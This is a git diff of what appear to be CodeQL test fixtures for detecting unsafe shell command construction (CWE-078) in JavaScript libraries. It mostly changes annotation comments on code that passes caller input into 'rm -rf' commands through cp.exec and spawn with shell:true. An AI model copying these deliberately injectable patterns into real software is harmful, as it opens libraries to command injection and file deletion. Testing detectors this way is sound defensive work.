-| lib/lib.js:579:13:579:28 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:579:25:579:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:579:5:579:29 | cp.exec ... + name) | shell command |
-| lib/lib.js:590:17:590:32 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:590:29:590:32 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:590:9:590:33 | cp.exec ... + name) | shell command |
-| lib/lib.js:593:13:593:28 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:593:25:593:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:593:5:593:29 | cp.exec ... + name) | shell command |
-| lib/lib.js:609:10:609:25 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:609:22:609:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:609:2:609:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:626:17:626:32 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:626:29:626:32 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:626:9:626:33 | cp.exec ... + name) | shell command |
-| lib/lib.js:629:13:629:28 | "rm -rf " + name | lib/lib.js:608:42:608:45 | name | lib/lib.js:629:25:629:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:608:42:608:45 | name | library input | lib/lib.js:629:5:629:29 | cp.exec ... + name) | shell command |
-| lib/lib.js:633:18:633:68 | "'" + n ... ) + "'" | lib/lib.js:632:38:632:41 | name | lib/lib.js:633:24:633:62 | name.re ... '\\\\''") | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:632:38:632:41 | name | library input | lib/lib.js:634:2:634:31 | cp.exec ... itized) | shell command |
-| lib/lib.js:634:10:634:30 | "rm -rf ... nitized | lib/lib.js:632:38:632:41 | name | lib/lib.js:634:22:634:30 | sanitized | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:632:38:632:41 | name | library input | lib/lib.js:634:2:634:31 | cp.exec ... itized) | shell command |
-| lib/subLib2/compiled-file.ts:4:13:4:28 | "rm -rf " + name | lib/subLib2/compiled-file.ts:3:26:3:29 | name | lib/subLib2/compiled-file.ts:4:25:4:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib2/compiled-file.ts:3:26:3:29 | name | library input | lib/subLib2/compiled-file.ts:4:5:4:29 | cp.exec ... + name) | shell command |
-| lib/subLib2/special-file.js:4:10:4:25 | "rm -rf " + name | lib/subLib2/special-file.js:3:28:3:31 | name | lib/subLib2/special-file.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib2/special-file.js:3:28:3:31 | name | library input | lib/subLib2/special-file.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/subLib3/my-file.ts:4:10:4:25 | "rm -rf " + name | lib/subLib3/my-file.ts:3:28:3:31 | name | lib/subLib3/my-file.ts:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib3/my-file.ts:3:28:3:31 | name | library input | lib/subLib3/my-file.ts:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/subLib4/subsub.js:4:10:4:25 | "rm -rf " + name | lib/subLib4/index.js:6:32:6:35 | name | lib/subLib4/subsub.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib4/index.js:6:32:6:35 | name | library input | lib/subLib4/subsub.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/subLib/amdSub.js:4:10:4:25 | "rm -rf " + name | lib/subLib/amdSub.js:3:28:3:31 | name | lib/subLib/amdSub.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/amdSub.js:3:28:3:31 | name | library input | lib/subLib/amdSub.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/subLib/index.js:4:10:4:25 | "rm -rf " + name | lib/subLib/index.js:3:28:3:31 | name | lib/subLib/index.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/index.js:3:28:3:31 | name | library input | lib/subLib/index.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/index.js:7:32:7:35 | name | library input | lib/subLib/index.js:8:2:8:26 | cp.exec ... + name) | shell command |
-| lib/subLib/index.js:14:22:14:24 | arr | lib/subLib/index.js:13:44:13:46 | arr | lib/subLib/index.js:14:22:14:24 | arr | This shell argument which depends on $@ is later used in a $@. | lib/subLib/index.js:13:44:13:46 | arr | library input | lib/subLib/index.js:14:5:14:40 | cp.spaw ...  true}) | shell command |
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
index f1dbca0e19c9..26c43ff16ca6 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/UnsafeShellCommandConstruction.qlref
@@ -1 +1,2 @@
-Security/CWE-078/UnsafeShellCommandConstruction.ql
\ No newline at end of file
+query: Security/CWE-078/UnsafeShellCommandConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/isImported.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/isImported.js
index 116b624615b1..b4f75df03ac4 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/isImported.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/isImported.js
@@ -2,6 +2,6 @@
 
 const cp = require("child_process");
 
-module.exports.thisMethodIsImported = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.thisMethodIsImported = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib.js b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib.js
index 75fda0090000..85d0402a8ae8 100644
--- a/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib.js
+++ b/javascript/ql/test/query-tests/Security/CWE-078/UnsafeShellCommandConstruction/lib/lib.js
@@ -1,134 +1,134 @@
 var cp = require("child_process")
 
-module.exports = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.blah = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
-	cp.execFile(name, [name]); // OK
-	cp.execFile(name, name); // OK
+	cp.execFile(name, [name]);
+	cp.execFile(name, name);
 };
 
-module.exports.foo = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.foo = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 }
 
-module.exports.foo.bar = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.foo.bar = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 }
 
 function cla() { }
-cla.prototype.method = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+cla.prototype.method = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 }
-module.exports = new cla();
+module.exports.cla = new cla();
 
 
 function cla2() { }
-cla2.prototype.method = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+cla2.prototype.method = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 }
 module.exports.bla = new cla2();
 
 module.exports.lib2 = require("./lib2.js")
 
 class Cla3 {
-	constructor(name) {
-		cp.exec("rm -rf " + name); // NOT OK
+	constructor(name) { // $ Source
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
-	static foo(name) {
-		cp.exec("rm -rf " + name); // NOT OK
+	static foo(name) { // $ Source
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
-	bar(name) {
-		cp.exec("rm -rf " + name); // NOT OK
+	bar(name) { // $ Source
+		cp.exec("rm -rf " + name); // $ Alert Sink
 
-		cp.exec("rm -rf " + notASource); // OK
+		cp.exec("rm -rf " + notASource);
 	}
 }
 
 module.exports.cla3 = Cla3;
 
-module.exports.mz = function (name) {
-	require("mz/child_process").exec("rm -rf " + name); // NOT OK.
+module.exports.mz = function (name) { // $ Source
+	require("mz/child_process").exec("rm -rf " + name); // $ Alert Sink
 }
 
-module.exports.flow = function (name) {
-	var cmd1 = "rm -rf " + name; // NOT OK.
+module.exports.flow = function (name) { // $ Source
+	var cmd1 = "rm -rf " + name; // $ Alert Sink
 	cp.exec(cmd1); 
 
-	var cmd2 = "rm -rf " + name;  // NOT OK.
+	var cmd2 = "rm -rf " + name;  // $ Alert Sink
 	function myExec(cmd) {
 		cp.exec(cmd);
 	}
 	myExec(cmd2);
 }
 
-module.exports.stringConcat = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK.
+module.exports.stringConcat = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
-	cp.exec(name); // OK.
+	cp.exec(name);
 
-	cp.exec("for foo in (" + name + ") do bla end"); // NOT OK.
+	cp.exec("for foo in (" + name + ") do bla end"); // $ Alert Sink
 
-	cp.exec("cat /foO/BAR/" + name) // NOT OK.
+	cp.exec("cat /foO/BAR/" + name) // $ Alert Sink
 
-	cp.exec("cat \"" + name + "\"") // NOT OK.
+	cp.exec("cat \"" + name + "\"") // $ Alert Sink
 
-	cp.exec("cat '" + name + "'") // NOT OK.
+	cp.exec("cat '" + name + "'") // $ Alert Sink
 
-	cp.exec("cat '/foo/bar" + name + "'") // NOT OK.
+	cp.exec("cat '/foo/bar" + name + "'") // $ Alert Sink
 
-	cp.exec(name + " some file") // OK.    
+	cp.exec(name + " some file")
 }
 
-module.exports.arrays = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK.
+module.exports.arrays = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	var args1 = ["node"];
-	args1.push(name); // NOT OK.
+	args1.push(name); // $ Alert
 	cp.exec(args1.join(" "));
 
-	cp.exec(["rm -rf", name].join(" ")); // NOT OK.
+	cp.exec(["rm -rf", name].join(" ")); // $ Alert
 
-	cp.exec(["rm -rf", "\"" + name + "\""].join(" ")); // NOT OK.
+	cp.exec(["rm -rf", "\"" + name + "\""].join(" ")); // $ Alert
 
-	cp.execFile("rm", ["-rf", name]); // OK
+	cp.execFile("rm", ["-rf", name]);
 }
 
 var util = require("util");
-module.exports.format = function (name) {
-	cp.exec(util.format("rm -rf %s", name)); // NOT OK
+module.exports.format = function (name) { // $ Source
+	cp.exec(util.format("rm -rf %s", name)); // $ Alert
 
-	cp.exec(util.format("rm -rf '%s'", name)); // NOT OK
+	cp.exec(util.format("rm -rf '%s'", name)); // $ Alert
 
-	cp.exec(util.format("rm -rf '/foo/bar/%s'", name)); // NOT OK
+	cp.exec(util.format("rm -rf '/foo/bar/%s'", name)); // $ Alert
 
-	cp.exec(util.format("%s foo/bar", name)); // OK
+	cp.exec(util.format("%s foo/bar", name));
 
-	cp.exec(util.format("for foo in (%s) do bar end", name)); // OK
+	cp.exec(util.format("for foo in (%s) do bar end", name));
 
-	cp.exec(require("printf")('rm -rf %s', name)); // NOT OK
+	cp.exec(require("printf")('rm -rf %s', name)); // $ Alert
 }
 
-module.exports.valid = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.valid = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (!isValidName(name)) {
 		return;
 	}
-	cp.exec("rm -rf " + name); // OK
+	cp.exec("rm -rf " + name);
 }
 
-module.exports.safe = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.safe = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (!isSafeName(name)) {
 		return;
 	}
-	cp.exec("rm -rf " + name); // OK
+	cp.exec("rm -rf " + name);
 }
 
 class Cla4 {
-	wha(name) {
-		cp.exec("rm -rf " + name); // NOT OK
+	wha(name) { // $ Source
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
 
 	static bla(name) {
@@ -145,20 +145,20 @@ function Cla5(name) {
 }
 module.exports.cla5 = new Cla5();
 
-module.exports.indirect = function (name) {
-	let cmd = "rm -rf " + name; // NOT OK
+module.exports.indirect = function (name) { // $ Source
+	let cmd = "rm -rf " + name; // $ Alert Sink
 	let sh = "sh";
 	let args = ["-c", cmd];
 	cp.spawn(sh, args, cb);
 }
 
-module.exports.indirect2 = function (name) {
+module.exports.indirect2 = function (name) { // $ Source
 	let cmd = name;
 	let sh = "sh";
 	let args = ["-c", cmd];
-	cp.spawn(sh, args, cb); // OK
+	cp.spawn(sh, args, cb);
 
-	let cmd2 = "rm -rf " + name;
+	let cmd2 = "rm -rf " + name; // $ Alert Sink
 	var args2 = [cmd2];
 	cp.spawn(
 		'cmd.exe',
@@ -167,65 +167,65 @@ module.exports.indirect2 = function (name) {
 	);
 }
 
-module.exports.cmd = function (command, name) {
-	cp.exec("fo | " + command); // OK
+module.exports.cmd = function (command, name) { // $ Source
+	cp.exec("fo | " + command);
 
-	cp.exec("fo | " + name); // NOT OK
+	cp.exec("fo | " + name); // $ Alert Sink
 
 }
 
-module.exports.sanitizer = function (name) {
+module.exports.sanitizer = function (name) { // $ Source
 	var sanitized = "'" + name.replace(/'/g, "'\\''") + "'"
-	cp.exec("rm -rf " + sanitized); // OK
+	cp.exec("rm -rf " + sanitized);
 
-	var broken = "'" + name.replace(/'/g, "'\''") + "'"
-	cp.exec("rm -rf " + broken); // NOT OK
+	var broken = "'" + name.replace(/'/g, "'\''") + "'" // $ Alert Sink
+	cp.exec("rm -rf " + broken); // $ Alert Sink
 }
 
 var path = require("path");
-module.exports.guard = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.guard = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (!path.exist(name)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 		return;
 	}
-	cp.exec("rm -rf " + name); // OK
+	cp.exec("rm -rf " + name);
 }
 
-module.exports.blacklistOfChars = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.blacklistOfChars = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (/[^A-Za-z0-9_\/:=-]/.test(name)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 }
 
-module.exports.whitelistOfChars = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.whitelistOfChars = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (/^[A-Za-z0-9_\/:=-]$/.test(name)) {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	} else {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
 }
 
-module.exports.blackList2 = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.blackList2 = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (!/^([a-zA-Z0-9]+))?$/.test(name)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 		process.exit(-1);
 	}
 
-	cp.exec("rm -rf " + name); // OK - but FP due to tracking flow through `process.exit()`. [INCONSISTENCY]
+	cp.exec("rm -rf " + name); // $ Sink SPURIOUS: Alert - FP due to tracking flow through `process.exit()`.
 }
 
-module.exports.accessSync = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.accessSync = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	try {
 		path.accessSync(name);
@@ -233,7 +233,7 @@ module.exports.accessSync = function (name) {
 		return;
 	}
 
-	cp.exec("rm -rf " + name); // OK - but FP due to `path.accessSync` not being recognized as a sanitizer. [INCONSISTENCY]
+	cp.exec("rm -rf " + name); // $ Sink SPURIOUS: Alert - FP due to `path.accessSync` not being recognized as a sanitizer.
 }
 
 var cleanInput = function (s) {
@@ -245,40 +245,40 @@ var cleanInput = function (s) {
 	return s;
 }
 
-module.exports.goodSanitizer = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.goodSanitizer = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	var cleaned = cleanInput(name);
 
-	cp.exec("rm -rf " + cleaned); // OK - But FP due to SanitizingRegExpTest not being able to generate a barrier edge for an edge into a phi node.
+	cp.exec("rm -rf " + cleaned); // $ Sink SPURIOUS: Alert - SanitizingRegExpTest is not able to generate a barrier edge for an edge into a phi node.
 }
 
 var fs = require("fs");
-module.exports.guard2 = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.guard2 = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (!fs.existsSync("prefix/" + name)) {
-		cp.exec("rm -rf prefix/" + name); // NOT OK
+		cp.exec("rm -rf prefix/" + name); // $ Alert Sink
 		return;
 	}
-	cp.exec("rm -rf prefix/" + name); // OK
+	cp.exec("rm -rf prefix/" + name);
 }
 
-module.exports.sanitizerProperty = function (obj) {
-	cp.exec("rm -rf " + obj.version); // NOT OK
+module.exports.sanitizerProperty = function (obj) { // $ Source
+	cp.exec("rm -rf " + obj.version); // $ Alert Sink
 
 	obj.version = "";
 
-	cp.exec("rm -rf " + obj.version); // OK
+	cp.exec("rm -rf " + obj.version);
 }
 
 module.exports.Foo = class Foo {
-	start(opts) {
-		cp.exec("rm -rf " + opts.bla); // NOT OK
+	start(opts) { // $ Source
+		cp.exec("rm -rf " + opts.bla); // $ Alert Sink
 		this.opts = {};
 		this.opts.bla = opts.bla
 
-		cp.exec("rm -rf " + this.opts.bla); // NOT OK
+		cp.exec("rm -rf " + this.opts.bla); // $ Alert Sink
 	}
 }
 
@@ -304,25 +304,25 @@ function sanitizeShellString(str) {
   return result
 }
 
-module.exports.sanitizer2 = function (name) {
-  cp.exec("rm -rf " + name); // NOT OK
+module.exports.sanitizer2 = function (name) { // $ Source
+  cp.exec("rm -rf " + name); // $ Alert Sink
 
   var sanitized = sanitizeShellString(name);
-  cp.exec("rm -rf " + sanitized); // OK
+  cp.exec("rm -rf " + sanitized);
 }
 
-module.exports.typeofcheck = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.typeofcheck = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 	
 	if (typeof name === "undefined") {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	} else {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
 }
 
-module.exports.typeofcheck = function (arg) {
-	var cmd = "MyWindowCommand | findstr /i /c:" + arg; // NOT OK
+module.exports.typeofcheck = function (arg) { // $ Source
+	var cmd = "MyWindowCommand | findstr /i /c:" + arg; // $ Alert Sink
 	cp.exec(cmd); 
 }
 
@@ -333,22 +333,22 @@ function id(x) {
 module.exports.id = id;
 
 module.exports.unproblematic = function() {
-	cp.exec("rm -rf " + id("test")); // OK
+	cp.exec("rm -rf " + id("test"));
 };
 
-module.exports.problematic = function(n) {
-	cp.exec("rm -rf " + id(n)); // NOT OK
+module.exports.problematic = function(n) { // $ Source
+	cp.exec("rm -rf " + id(n)); // $ Alert Sink
 };
 
 module.exports.typeofNumber = function(n) {
 	if (typeof n === "number") {
-		cp.exec("rm -rf " + n); // OK
+		cp.exec("rm -rf " + n);
 	}
 };
 
-function boundProblem(safe, unsafe) {
-	cp.exec("rm -rf " + safe); // OK
-	cp.exec("rm -rf " + unsafe); // NOT OK
+function boundProblem(safe, unsafe) { // $ Source
+	cp.exec("rm -rf " + safe);
+	cp.exec("rm -rf " + unsafe); // $ Alert Sink
 }
 
 Object.defineProperty(module.exports, "boundProblem", {
@@ -363,8 +363,8 @@ function MyTrainer(opts) {
 
 MyTrainer.prototype = {
 	train: function() {
-		var command = "learn " + this.learn_args + " " + model; // NOT OK
-		cp.exec(command); 
+		var command = "learn " + this.learn_args + " " + model; // $ MISSING: Alert - lack of local field step
+		cp.exec(command);
 	}
 };
 module.exports.MyTrainer = MyTrainer;
@@ -402,30 +402,30 @@ function yetAnohterSanitizer(str) {
 	return result;
 }
 
-module.exports.sanitizer3 = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.sanitizer3 = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	var sanitized = yetAnohterSanitizer(name);
-	cp.exec("rm -rf " + sanitized); // OK
+	cp.exec("rm -rf " + sanitized);
 }
 
 const cp = require("child_process");
 const spawn = cp.spawn;
-module.exports.shellOption = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.shellOption = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
-	cp.execFile("rm", ["-rf", name], {shell: true}, (err, out) => {}); // NOT OK
-	cp.spawn("rm", ["-rf", name], {shell: true}); // NOT OK
-	cp.execFileSync("rm", ["-rf", name], {shell: true}); // NOT OK
-	cp.spawnSync("rm", ["-rf", name], {shell: true}); // NOT OK
+	cp.execFile("rm", ["-rf", name], {shell: true}, (err, out) => {}); // $ Alert
+	cp.spawn("rm", ["-rf", name], {shell: true}); // $ Alert
+	cp.execFileSync("rm", ["-rf", name], {shell: true}); // $ Alert
+	cp.spawnSync("rm", ["-rf", name], {shell: true}); // $ Alert
 
 	const SPAWN_OPT = {shell: true};
 
-	spawn("rm", ["first", name], SPAWN_OPT); // NOT OK
+	spawn("rm", ["first", name], SPAWN_OPT); // $ Alert
 	var arr = [];
-	arr.push(name); // NOT OK
-	spawn("rm", arr, SPAWN_OPT); 
-	spawn("rm", build("node", (name ? name + ':' : '') + '-'), SPAWN_OPT);  // This is bad, but the alert location is down in `build`.
+	arr.push(name); // $ Alert
+	spawn("rm", arr, SPAWN_OPT); // $ Alert
+	spawn("rm", build("node", (name ? name + ':' : '') + '-'), SPAWN_OPT); // $ Alert
 }
 
 function build(first, last) {
@@ -433,18 +433,18 @@ function build(first, last) {
 	if (something() === 'gm')
 		arr.push('convert');
 	first && arr.push(first);
-	last && arr.push(last); // NOT OK
+	last && arr.push(last); // $ Alert
 	return arr;
 };
 
 var asyncExec = require("async-execute");
-module.exports.asyncStuff = function (name) {
-	asyncExec("rm -rf " + name); // NOT OK
+module.exports.asyncStuff = function (name) { // $ Source
+	asyncExec("rm -rf " + name); // $ Alert Sink
 }
 
 const myFuncs = {
-	myFunc: function (name) {
-		asyncExec("rm -rf " + name); // NOT OK
+	myFunc: function (name) { // $ Source
+		asyncExec("rm -rf " + name); // $ Alert Sink
 	}
 };
 
@@ -474,13 +474,13 @@ const {promisify} = require('util');
 
 const exec = promisify(require('child_process').exec);
 
-module.exports = function check(config) {
-    const cmd = path.join(config.installedPath, 'myBinary -v'); // NOT OK
+module.exports.check = function check(config) { // $ Source
+    const cmd = path.join(config.installedPath, 'myBinary -v'); // $ Alert
     return exec(cmd);
 }
 
-module.exports.splitConcat = function (name) {
-	let args = ' my name is ' + name; // NOT OK
+module.exports.splitConcat = function (name) { // $ Source
+	let args = ' my name is ' + name; // $ Alert Sink
 	let cmd = 'echo';
 	cp.exec(cmd + args);
 }
@@ -495,8 +495,8 @@ module.exports.myCommand = function (myCommand) {
 		cp: require('child_process')
 	};
 
-	module.exports.myIndirectThing = function (name) {
-		MyThing.cp.exec("rm -rf " + name); // NOT OK
+	module.exports.myIndirectThing = function (name) { // $ Source
+		MyThing.cp.exec("rm -rf " + name); // $ Alert Sink
 	}
 });
   
@@ -506,91 +506,91 @@ for (var name in imp){
   module.exports[name] = imp[name];
 }
 
-module.exports.sanitizer4 = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.sanitizer4 = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (isNaN(name)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
 	if (isNaN(parseInt(name))) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
 	if (isNaN(+name)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
 	if (isNaN(parseInt(name, 10))) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
 	if (isNaN(name - 0)) {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
 	if (isNaN(name | 0)) { // <- not a sanitizer
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	} else {
-		cp.exec("rm -rf " + name); // NOT OK
+		cp.exec("rm -rf " + name); // $ Alert Sink
 	}
 }
 
 
-module.exports.shellThing = function (name) {
+module.exports.shellThing = function (name) { // $ Source
     function indirectShell(cmd, args, spawnOpts) {
-        cp.spawn(cmd, args, spawnOpts); // NOT OK
+        cp.spawn(cmd, args, spawnOpts); // $ Alert
     }
-    
-    indirectShell("rm", ["-rf", name], {shell: true});
+
+    indirectShell("rm", ["-rf", name], {shell: true}); // $ Alert
 }
 
-module.exports.badSanitizer = function (name) {
+module.exports.badSanitizer = function (name) { // $ Source
     if (!name.match(/^(.|\.){1,64}$/)) { // <- bad sanitizer
-        exec("rm -rf " + name); // NOT OK
+        exec("rm -rf " + name); // $ Alert Sink
     } else {
-        exec("rm -rf " + name); // NOT OK
+        exec("rm -rf " + name); // $ Alert Sink
     }
 
     if (!name.match(/^\w{1,64}$/)) { // <- good sanitizer
-        exec("rm -rf " + name); // NOT OK
+        exec("rm -rf " + name); // $ Alert Sink
     } else {
-        exec("rm -rf " + name); // OK
+        exec("rm -rf " + name);
     }
 }
 
-module.exports.safeWithBool = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.safeWithBool = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (isSafeName(name)) {
-		cp.exec("rm -rf " + name); // OK
+		cp.exec("rm -rf " + name);
 	}
 
-    cp.exec("rm -rf " + name); // NOT OK
+    cp.exec("rm -rf " + name); // $ Alert Sink
 
     if (isSafeName(name) === true) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     }
 
     if (isSafeName(name) !== false) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     }
 
     if (isSafeName(name) == false) {
-        cp.exec("rm -rf " + name); // NOT OK
+        cp.exec("rm -rf " + name); // $ Alert Sink
     }
 
-    cp.exec("rm -rf " + name); // NOT OK
+    cp.exec("rm -rf " + name); // $ Alert Sink
 }
 
 function indirectThing(name) {
@@ -605,37 +605,37 @@ function moreIndirect(name) {
     return indirectThing2(name) !== false;
 }
 
-module.exports.veryIndeirect = function (name) {
-	cp.exec("rm -rf " + name); // NOT OK
+module.exports.veryIndeirect = function (name) { // $ Source
+	cp.exec("rm -rf " + name); // $ Alert Sink
 
 	if (indirectThing(name)) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     }
 
     if (indirectThing2(name)) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     }
 
     if (moreIndirect(name)) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     }
 
     if (moreIndirect(name) !== false) {
-        cp.exec("rm -rf " + name); // OK
+        cp.exec("rm -rf " + name);
     } else {
-        cp.exec("rm -rf " + name); // NOT OK
+        cp.exec("rm -rf " + name); // $ Alert Sink
     }
 
-    cp.exec("rm -rf " + name); // NOT OK
+    cp.exec("rm -rf " + name); // $ Alert Sink
 }
 
-module.exports.sanitizer = function (name) {
-	var sanitized = "'" + name.replace(new RegExp("\'"), "'\\''") + "'"
-	cp.exec("rm -rf " + sanitized); // NOT OK 
+module.exports.sanitizer = function (name) { // $ Source
+	var sanitized = "'" + name.replace(new RegExp("\'"), "'\\''") + "'" // $ Alert Sink
+	cp.exec("rm -rf " + sanitized); // $ Alert Sink
 
 	var sanitized = "'" + name.replace(new RegExp("\'", 'g'), "'\\''") + "'"
-	cp.exec("rm -rf " + sanitized); // OK 
+	cp.exec("rm -rf " + sanitized);
 
